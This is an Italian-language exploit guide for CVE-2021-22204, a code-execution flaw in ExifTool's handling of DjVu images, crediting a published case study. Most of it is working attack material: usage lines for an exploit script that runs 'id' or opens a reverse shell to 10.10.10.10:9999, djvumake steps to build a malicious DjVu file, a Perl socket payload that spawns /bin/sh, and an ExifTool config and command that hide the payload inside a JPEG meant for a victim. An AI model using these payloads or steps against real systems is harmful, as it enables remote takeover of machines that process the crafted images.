
Script di exploit e guida manuale allo sfruttamento per CVE-2021-22204, una vulnerabilità di esecuzione arbitraria di codice in ExifTool tramite immagini DjVu maligne. Include generazione di payload e tecniche di reverse shell.
La neutralizzazione impropria dei dati utente nel formato file DjVu in ExifTool versioni 7.44 e successive consente l'esecuzione arbitraria di codice durante l'analisi delle immagini dannose.

Comando di sistema:
bash CVE-2021-2204.sh "system('id')" happy.jpg
Reverse shell
bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg
*Il tuo IP e PORTA
$ sudo apt install djvulibre-bin
# Installs the required tools
$ bzz payload payload.bzz
# Compress our payload file with to make it non human-readable
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
Payload
(metadata "\c${system('id')};")
Payload (per reversehell)
(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")
Quindi, quando la vittima apre il file exploit.djvu con una versione vulnerabile di Exiftool, il nostro codice Perl incorporato eseguirà il comando id.
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end%
Questo file consente di scrivere un nuovo tag nel file, con il nome HasselbladExif e i byte 0xc51b per identificarlo all'interno del nuovo file. Possiamo quindi inserirlo in qualsiasi file. [8]Successivamente, usiamo il nostro exploit.djvu già creato per inserire il file DjVu dannoso all'interno di un JPEG valido.
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg
configfile = Il nome del nostro file di configurazione;
-HasselbladExif = Nome del tag specificato nel file di configurazione;
exploit.djvu = Il nostro exploit, precedentemente creato con djvumake;
hacker.jpg = Un file JPEG valido;
Crediti e aiuto: https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/